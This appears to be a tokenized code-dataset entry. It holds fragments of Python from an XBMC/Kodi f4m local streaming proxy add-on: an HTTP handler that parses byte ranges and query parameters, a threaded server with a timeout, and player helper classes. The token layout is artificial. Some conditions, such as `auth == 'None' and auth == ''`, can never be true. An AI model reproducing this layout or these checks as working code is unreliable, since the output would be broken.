"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Print", " ", "out", " ", "a", " ", "stack", " ", "trace_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "traceback_", "._", "print", "\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "stop", "Event_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "response_", "(_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Clos", "e", " ", "output", " ", "stream", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "wfile_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Clos", "e", " ", "output", " ", "stream", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "wfile_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "ET", "ag_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "md_", "=_", "hashlib_", "._", "md5_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md_", "._", "update_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "md_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "range", "\\u", "request_", "(_", "self_", ",_", "hra", "nge_", ",_", "file", "\\u", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hra", "nge_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sra", "nge_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "era", "nge_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Get", " ", "the", " ", "byte", " ", "value", " ", "from", " ", "the", " ", "request", " ", "string", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hra", "nge_", "=_", "str_", "(_", "hra", "nge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "split", "Range_", "=_", "hra", "nge_", "._", "split_", "(_", "\"=\"_", ")_", "[_", "1_", "]_", "._", "split_", "(_", "\"-\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sra", "nge_", "=_", "int_", "(_", "split", "Range_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "era", "nge_", "=_", "split", "Range_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "era", "nge_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "era", "nge_", "=_", "int_", "(_", "file", "\\u", "size_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Build", " ", "range", " ", "string_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Fail", "ure", " ", "to", " ", "build", " ", "range", " ", "string", "?", " ", "Creat", "e", " ", "a", " ", "0", "-", " ", "range", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sra", "nge_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "era", "nge_", "=_", "int_", "(_", "file", "\\u", "size_", "-_", "1_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "sra", "nge_", ",_", "era", "nge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "decode", "\\u", "url_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "in", " ", "params", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "urlparse_", "._", "parse", "\\u", "qs_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "params", "'_", ",_", "params_", "#", " ", "TOD", "O", " ", "read", " ", "all", " ", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#(", "{", "'", "url", "':", " ", "url", ",", " ", "'", "download", "mode", "':", " ", "download", "mode", ",", " ", "'", "keep", "\\u", "file", "':", "keep", "\\u", "file", ",'", "connections", "':", "connections", "})", "_", "\\u\\u\\uNL\\u\\u\\u_", "receive", "d\\u", "url_", "=_", "params_", "[_", "'", "url", "'_", "]_", "[_", "0_", "]_", "#", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proxy_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proxy_", "=_", "params_", "[_", "'", "proxy", "'_", "]_", "[_", "0_", "]_", "#", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "=_", "params_", "[_", "'", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks", "'_", "]_", "[_", "0_", "]_", "#", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "max", "bitrate_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "max", "bitrate_", "=_", "int_", "(_", "params_", "[_", "'", "max", "bit", "rate", "'_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "auth_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "auth_", "=_", "params_", "[_", "'", "auth", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auth_", "==_", "'", "Non", "e", "'_", "and_", "auth_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "auth_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "proxy_", "==_", "'", "Non", "e", "'_", "or_", "proxy_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proxy_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "==_", "'", "Fal", "se", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "simple", "downloader_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "simple", "downloader_", "=_", "params_", "[_", "'", "simple", "downloader", "'_", "]_", "[_", "0_", "]_", "#", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "simple", "downloader_", "._", "lower_", "(_", ")_", "==_", "'", "true", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "params", "[", "simple", "downloader", "][", "0", "]'_", ",_", "params_", "[_", "'", "simple", "downloader", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "simple", "downloader_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "simple", "downloader_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream", "type_", "=_", "'", "HD", "S", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stream", "type_", "=_", "params_", "[_", "'", "stream", "type", "'_", "]_", "[_", "0_", "]_", "#", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stream", "type_", "==_", "'", "Non", "e", "'_", "and_", "stream", "type_", "==_", "''_", ":_", "stream", "type_", "=_", "'", "HD", "S", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "receive", "d\\u", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "max", "bitrate_", ",_", "simple", "downloader_", ",_", "auth_", ",_", "stream", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Server_", "(_", "HTTP", "Server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "HTTP", "Server", " ", "class", " ", "with", " ", "timeo", "ut", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Server_", "(_", "HTTP", "Server_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "request_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "request", " ", "and", " ", "client", " ", "address", " ", "from", " ", "the", " ", "socket", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "socket_", "._", "settimeout_", "(_", "5.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "result_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "self_", "._", "socket_", "._", "accept_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "timeout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "[_", "0_", "]_", "._", "settimeout_", "(_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Thread", "ed", "HTTP", "Server_", "(_", "Thread", "ing", "Mix", "In_", ",_", "Server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Handle", " ", "request", "s", " ", "in", " ", "a", " ", "separate", " ", "thread", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "f4", "m", "Proxy_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "f4", "m", "Proxy_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "start_", "(_", "self_", ",_", "stop", "Event_", ",_", "port_", "=_", "PORT", "\\u", "NUMBER_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "PORT", "\\u", "NUMBER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "HOST", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "g", "\\u", "stop", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "port", "'_", ",_", "port_", ",_", "'", "HOST", "\\u", "NAME", "'_", ",_", "HOST", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "stop", "Event_", "=_", "stop", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "socket_", "._", "setdefault", "timeout_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "\\u", "class_", "=_", "Thread", "ed", "HTTP", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "My", "Handle", "r", ".", "protoc", "ol", "\\u", "version", " ", "=", " ", "\"", "HTTP", "/", "1.1", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "My", "Handler_", "._", "protoc", "ol", "\\u", "version_", "=_", "\"", "HTTP", "/", "1.1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpd_", "=_", "server", "\\u", "class_", "(_", "(_", "HOST", "\\u", "NAME_", ",_", "port_", ")_", ",_", "My", "Handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"", "XB", "MC", "Local", "Pro", "xy", " ", "Start", "s", " ", "-", " ", "%", "s", ":", "%", "s", "\"_", "%_", "(_", "HOST", "\\u", "NAME_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "(_", "True_", "and_", "not_", "stop", "Event_", "._", "is", "Set_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "httpd_", "._", "handle", "\\u", "request_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "httpd_", "._", "server", "\\u", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "XB", "MC", "Local", "Pro", "xy", " ", "Stops", " ", "%", "s", ":", "%", "s", "\"_", "%_", "(_", "HOST", "\\u", "NAME_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "f4", "m", "Proxy_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prepar", "e\\u", "url_", "(_", "self_", ",_", "url_", ",_", "proxy_", "=_", "None_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "=_", "True_", ",_", "port_", "=_", "PORT", "\\u", "NUMBER_", ",_", "max", "bitrate_", "=_", "0_", ",_", "simple", "Downloader_", "=_", "False_", ",_", "auth_", "=_", "None_", ",_", "stream", "type_", "=_", "'", "HD", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "PORT", "\\u", "NUMBER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "PORT", "\\u", "NUMBER_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newu", "rl_", "=_", "urllib_", "._", "urlencode_", "(_", "{_", "'", "url", "'_", ":_", "url_", ",_", "'", "proxy", "'_", ":_", "proxy_", ",_", "'", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks", "'_", ":_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "'", "max", "bit", "rate", "'_", ":_", "max", "bitrate_", ",_", "'", "simple", "downloader", "'_", ":_", "simple", "Downloader_", ",_", "'", "auth", "'_", ":_", "auth_", ",_", "'", "stream", "type", "'_", ":_", "stream", "type_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "=_", "'", "http", "://'_", "+_", "HOST", "\\u", "NAME_", "+_", "(_", "':", "%", "s", "/'_", "%_", "str_", "(_", "port_", ")_", ")_", "+_", "newu", "rl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "link_", ")_", "#", "make", " ", "a", " ", "url", " ", "tha", "t", " ", "caller", " ", "then", " ", "call", " ", "load", " ", "int", "o", " ", "player_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "f4", "m", "Pro", "xy", "Helper_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "f4", "m", "Pro", "xy", "Helper_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "play", "F4", "m", "Link_", "(_", "self_", ",_", "url_", ",_", "name_", ",_", "proxy_", "=_", "None_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "=_", "False_", ",_", "max", "bitrate_", "=_", "0_", ",_", "simple", "Downloader_", "=_", "False_", ",_", "auth_", "=_", "None_", ",_", "stream", "type_", "=_", "'", "HD", "S", "'_", ",_", "set", "Resolved", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "URL", ":", " ", "\"_", "+_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "Play", "ing_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "progress_", "=_", "xbmcgui_", "._", "Dialog", "Progress_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f4", "m", "\\u", "proxy_", "=_", "f4", "m", "Proxy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "Play", "ing_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "runn", "ing", "thread_", "=_", "thread_", "._", "start", "\\u", "new", "\\u", "thread_", "(_", "f4", "m", "\\u", "proxy_", "._", "start_", ",_", "(_", "stop", "Play", "ing_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "progress_", "._", "create_", "(_", "'", "Start", "ing", " ", "local", " ", "proxy", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream", "\\u", "delay_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "progress_", "._", "update_", "(_", "20_", ",_", "\"\"_", ",_", "'", "Load", "ing", " ", "local", " ", "proxy", "'_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xbmc_", "._", "sleep_", "(_", "stream", "\\u", "delay_", "*_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "progress_", "._", "update_", "(_", "100_", ",_", "\"\"_", ",_", "'", "Load", "ing", " ", "local", " ", "proxy", "'_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url", "\\u", "to", "\\u", "play_", "=_", "f4", "m", "\\u", "proxy_", "._", "prepar", "e\\u", "url_", "(_", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "max", "bitrate_", "=_", "max", "bitrate_", ",_", "simple", "Downloader_", "=_", "simple", "Downloader_", ",_", "auth_", "=_", "auth_", ",_", "stream", "type_", "=_", "stream", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "listitem_", "=_", "xbmcgui_", "._", "List", "Item_", "(_", "name_", ",_", "path_", "=_", "url", "\\u", "to", "\\u", "play_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "listitem_", "._", "set", "Info_", "(_", "'", "video", "'_", ",_", "{_", "'", "Tit", "le", "'_", ":_", "name_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "set", "Resolved", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "url", "\\u", "to", "\\u", "play_", ",_", "listitem_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mpla", "yer_", "=_", "My", "Player_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mpla", "yer_", "._", "stop", "Play", "ing_", "=_", "stop", "Play", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "progress_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mpla", "yer_", "._", "play_", "(_", "url", "\\u", "to", "\\u", "play_", ",_", "listitem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "xbmc", ".", "Player", "(", "xbmc", ".", "PLAYER", "\\u", "CORE", "\\u", "AUTO", ").", "play", "(", "url", ",", " ", "listi", "tem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "first", "Time_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "stop", "Play", "ing_", "._", "is", "Set_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "not", " ", "xbmc", ".", "Player", "()", ".", "is", "Play", "ing", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "break_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "xbmc_", "._", "log_", "(_", "'", "Sleep", "ing", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xbmc_", "._", "sleep_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "first", "Time", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "xbmc", ".", "execute", "bui", "lti", "n", "('", "Dialog", ".", "Clos", "e", "(", "all", ",", "Tru", "e", ")'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "first", "Time", "=", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stop", "Play", "ing_", "._", "is", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "Jo", "b", " ", "don", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "f4", "m", "Pro", "xy", "Helper_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "proxy_", "(_", "self_", ",_", "url_", ",_", "name_", ",_", "proxy_", "=_", "None_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", "=_", "False_", ",_", "max", "bitrate_", "=_", "0_", ",_", "simple", "Downloader_", "=_", "False_", ",_", "auth_", "=_", "None_", ",_", "stream", "type_", "=_", "'", "HD", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "URL", ":", " ", "\"_", "+_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "Play", "ing_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f4", "m", "\\u", "proxy_", "=_", "f4", "m", "Proxy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "Play", "ing_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "runn", "ing", "thread_", "=_", "thread_", "._", "start", "\\u", "new", "\\u", "thread_", "(_", "f4", "m", "\\u", "proxy_", "._", "start_", ",_", "(_", "stop", "Play", "ing_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream", "\\u", "delay_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xbmc_", "._", "sleep_", "(_", "stream", "\\u", "delay_", "*_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url", "\\u", "to", "\\u", "play_", "=_", "f4", "m", "\\u", "proxy_", "._", "prepar", "e\\u", "url_", "(_", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "max", "bitrate_", "=_", "max", "bitrate_", ",_", "simple", "Downloader_", "=_", "simple", "Downloader_", ",_", "auth_", "=_", "auth_", ",_", "stream", "type_", "=_", "stream", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "url", "\\u", "to", "\\u", "play_", ",_", "stop", "Play", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 